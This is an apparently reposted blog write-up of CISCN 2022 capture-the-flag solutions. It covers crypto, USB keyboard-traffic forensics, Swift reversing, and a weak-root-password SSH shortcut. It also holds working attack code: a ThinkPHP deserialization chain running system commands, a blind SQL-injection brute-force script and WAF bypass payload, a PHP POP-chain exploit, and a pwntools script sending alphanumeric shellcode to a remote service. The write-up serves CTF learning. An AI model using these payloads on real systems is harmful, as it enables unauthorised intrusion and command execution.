2

CISCN2022

 1 year ago
source link: https://sakurahack-y.github.io/2022/06/20/ciscn2022%E5%88%9D%E8%B5%9B/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

[TOC]

crypto

根据公众号给的提示,可构造出脚本

a='5543053560369047024142002765898038342775948119489181360354534575324142175929505171739721800870791249314864251567972295612874802183218042622056229755674962381242884261754543945970151712920835729189983000341612995263262927255805323073625456260457938936828798227686401899839962031005363203251056213941366146686875718432385301325733733171999005964405664494560905422663352160064965067318132130228461655121372448333527884088007285116323305598946651171485490621766011242810388503390388653399069240050404600114824579296172741241184113479'
a=a[0:28]
tmp='0'
b='1732251413440356045166710055'
for i in range(28):
    print((ord(a[i])+ord(b[i])-2*ord(tmp[0]))%10,end="")

image-20220529121548778

访问url:

xxx/send?msg=s

xxx/send?msg=6275204973709393069208712710

image-20220529121645372

基于挑战码的双向认证1

基于挑战码的双向认证2

非预期解:

连接ssh

/root/cube-shell/instance/flag_server 目录

两个flag全在里面

image-20220529124444190

基于挑战码的双向认证3

连接ssh

/root/cube-shell/instance/flag_server 目录

su root

弱口令密码:toor

image-20220529142614152

直接填问卷即可得到flag

tshark -T json -r ez_usb.pcapng > data.json

导出json数据

经过分析,它是有两个键盘流量。

import json
jsonData=""
with open("data.json") as f:
    text=f.read()
    jsonData=json.loads(text)
data_1=""
data_2=""
for i in jsonData:
    try:
        if i["_source"]["layers"]["usb"]["usb.src"]=="2.8.1":
            data_1+=i["_source"]["layers"]["usbhid.data"]+"\n"
        else:
            data_2+=i["_source"]["layers"]["usbhid.data"]+"\n"
    except:
        pass
print(data_1)
print(data_2)

分别保存为1.txt,2.txt

使用网上现成得脚本进行提取数据

normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('1.txt') //2.txt
for line in keys:
    try:
        if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
             continue
        if line[6:8] in normalKeys.keys():
            output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
        else:
            output += ['[unknown]']
    except:
        pass
keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
    try:
        a=output.index('<DEL>')
        del output[a]
        del output[a-1]
    except:
        pass
for i in range(len(output)):
    try:
        if output[i]=="<CAP>":
            flag+=1
            output.pop(i)
            if flag==2:
                flag=0
        if flag!=0:
            output[i]=output[i].upper()
    except:
        pass
print ('output :' + "".join(output))

image-20220529144605125

发现是一个压缩包,第二个为密码

image-20220529145500226

解开即可得到flag

image-20220529145515024

Ezpop

https://www.freebuf.com/vuls/321546.html

<?php
namespace think{
    abstract class Model{
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = ''){
            $this->lazySave = True;
            $this->data = ['whoami' => ['cat /flag.txt']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami',['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}

namespace{
    echo(urlencode((serialize(new think\model\Pivot(new think\model\Pivot())))));
}

image-20220529173238834

ls / 查看

image-20220529173416181

读flag

image-20220529111702941

ezpentest

waf脚本如下:

<?php
function safe($a) {
    $r = preg_replace('/[\s,()#;*~\-]/','',$a);
    $r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
    return (string)$r;
  }
?>

在比赛中是没有给出代码的

考察sql注入,和2022虎符babysql很相似。

可利用case when注入,可构造出payload

0'||case'1'when`password`collate'utf8mb4_bin'like'{}%'then+18446744073709551615+1+''else'0'end||'

过滤了取反导致不能利用0+1来制造溢出,但是我们可以利用 18446744073709551615+1(它就代表0+1)来制造出溢出,当匹配到正确字符时,服务器会报500,否则就返回’0’,服务器会报error。或者用9223372036854775807+1也行

由此可构造出脚本:

import requests
import string

url = 'http://1.14.71.254:28470/login.php'
result = ''
ceshi = ''
lis = string.ascii_letters + string.digits + "^!%@_$%*"
gl = "%*()_"
while 1:
    for i in lis:
            if i in gl:  # 这里是对like正则匹配中的一些特殊符号进行转义
                i = "\\" + i
            ceshi = result + i
            payload = "0'||case'1'when`username`collate'utf8mb4_bin'like'{0}%'then+18446744073709551615+1+''else'0'end||'".format(ceshi)
            #print(payload)
            #username 改为 password即可得到密码
            data = {
                "username": "666",
                "password": payload
            }
            response = requests.post(url, data=data)
            if response.status_code == 500:
                print("success!")
                result = result + i
                res2 = result
                print(res2.replace("\\",""))
                break
            elif response.status_code == 0:
                continue
            else:
                continue

可得到账号密码:

img

image-20220604010207219
nssctfwabbybaboo!@$%!!
PAssw40d_Y0u3_Never_Konwn!@!!

进去后得到一串乱码文件

image-20220604010331417

查看源代码

发现是phpjiami加密

github有相应的工具:https://github.com/wenshui2008/phpjiami_decode

但是如果直接复制粘贴下来解密大部分情况都会漏字符,而phpjiami这里解密相对比较苛刻,少一个字符都会解密失败,可以采用脚本把混淆代码保存下来再解密,把url和cookie改成你的就可以了

<?php
$url ="http://1.14.71.254:28470/login.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt ($ch, CURLOPT_COOKIE, "_ga=GA1.1.1492528755.1648872076; session=6fdc00cf-2ec3-4924-b99b-b474ac227c2d; PHPSESSID=cbdac7b296d255ad4c2c69066c4356ec");
$result = curl_exec($ch);
curl_close($ch);
echo urlencode($result);
file_put_contents("pop.php",$result);
?>

将生成的文件放入解密脚本

image-20220604013234468

最终得到一下代码

<?php
session_start();
if(!isset($_SESSION['login'])){
    die();
}
function Al($classname){
    include $classname.".php";
}

if(isset($_REQUEST['a'])){
    $c = $_REQUEST['a'];
    $o = unserialize($c);
    if($o === false) {
        die("Error Format");
    }else{
        spl_autoload_register('Al');
        $o = unserialize($c);
        $raw = serialize($o);
        if(preg_match("/Some/i",$raw)){
            throw new Error("Error");
        }
        $o = unserialize($raw);
        var_dump($o);
    }
}else {
    echo file_get_contents("SomeClass.php");
}
view-source:http://1.14.71.254:28470/1Nd3x_Y0u_N3v3R_Kn0W.php

可得到someclass的代码

<?php
class A
{
    public $a;
    public $b;
    public function see()
    {
        $b = $this->b;
        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}
class B
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->see();
        return "1";
    }
}
class C
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->read();
        return "lock lock read!";
    }
}
class D
{
    public $a;
    public $b;
    public function read()
    {
        $this->b->learn();
    }
}
class E
{
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b." Powered by PHP";
    }
    public function __destruct(){
        //eval($this->a); ??? 吓得我赶紧把后门注释了
        //echo "???";
        die($this->a);
    }
}
class F
{
    public $a;
    public $b;
    public function __call($t1,$t2)
    {
        $s1 = $this->b;
        $s1();
    }
}
?>

构造pop链,进行反序列化

spl_autoload_register的作用就是把后面反序列化不存在的类所在的文件加载进来

image-20220604015509088

由于漏洞代码在SomeClass.php中,所以我们必须包含这个文件。

这里存在一个过滤

image-20220604170012434

我们需要让它包含后直接进入destruct魔术函数

关于gc回收机制可参考这篇文章,写的非常好:https://blog.csdn.net/qq_51295677/article/details/123520193

pop链条的思路非常清晰:

E的destruct --> B 的toString --> A(rce点)

最终exp:

<?php
class A
{
    public $a;
    public $b;
    public function see()
    {
        $b = $this->b;
        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}
class B
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->see();
        return "1";
    }
}
class C
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->read();
        return "lock lock read!";
    }
}
class D
{
    public $a;
    public $b;
    public function read()
    {
        $this->b->learn();
    }
}
class E
{
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b." Powered by PHP";
    }
    public function __destruct(){
        //eval($this->a); ??? 吓得我赶紧把后门注释了
        //echo "???";
        die($this->a);
    }
}
class F
{
    public $a;
    public $b;
    public function __call($t1,$t2)
    {
        $s1 = $this->b;
        $s1();
    }
}
class SomeClass{
    public $a;
}

$a = new A();
$b = new B();
$e = new E();
$e ->a = $b; #die函数会把$b当作字符串输出,从而调用了toString魔术方法
$b ->a = $a;
$arr = new ArrayObject(); #只要是php的原生类即可
$arr -> a = "system";
$arr -> b = "ls /";
$a ->b = $arr;
$c = new SomeClass();
$c ->a =$e;
echo(urlencode(str_replace("i:1","i:0",serialize(array($c,1)))))
?>

image-20220604165811456

image-20220604170425296

case1,确保unk_202028和unk_202024为1,

image-20220529174222620

case2:,unk_202028和unk_202028为1的时候执行写的shellcode,shellcode必须为可见字符:

image-20220529174438381

生成shellcode可见字符串:

https://github.com/TaQini/alpha3

image-20220529140033280
from pwn import*

context.log_level = "debug"

io = remote("123.56.111.202",17395)
# io = process("./login")
io.recv()
shellcode = "Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
payload = "opt:1\n" + "msg:ro0t1\n"
io.sendline(payload)
payload = "opt:2\n" + "msg:" + shellcode + "\n"
io.sendline(payload)
io.interactive()

image-20220529140131706

swift的AST树

image-20220529201512778

参照swiftc的输出

构造出脚本

#include <stdio.h>
unsigned char b[] = {88, 35, 88, 225, 7, 201, 57, 94, 77, 56, 75, 168, 72, 218, 64, 91, 16, 101, 32, 207, 73, 130, 74, 128, 76, 201, 16, 248, 41, 205, 103, 84, 91, 99, 79, 202, 22, 131, 63, 255, 20, 16};
unsigned char k[] = "345y";

int main()
{
    for (int i = 0; i < 42 - 3; i++)
    {
        unsigned char tmp = k[0];
        k[0] = k[1];
        k[1] = k[2];
        k[2] = k[3];
        k[3] = tmp;
    }
    for (int i = 42 - 4; i >= 0; i--)
    {
        unsigned char r0 = b[i + 0], r1 = b[i + 1], r2 = b[i + 2], r3 = b[i + 3];
        unsigned char tmp = k[3];
        k[3] = k[2];
        k[2] = k[1];
        k[1] = k[0];
        k[0] = tmp;
        b[i + 0] = r2 ^ k[2];
        b[i + 1] = r3 ^ k[3];
        b[i + 2] = ((k[0] + (b[i + 0] >> 4)) & 0xff) ^ r0;
        b[i + 3] = ((k[1] + (b[i + 1] >> 2)) & 0xff) ^ r1;
    }
    for (int i = 0; i < 42; i++)
    {
        printf("%c", b[i]);
    }
    return 0;
}

image-20220529201614424

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK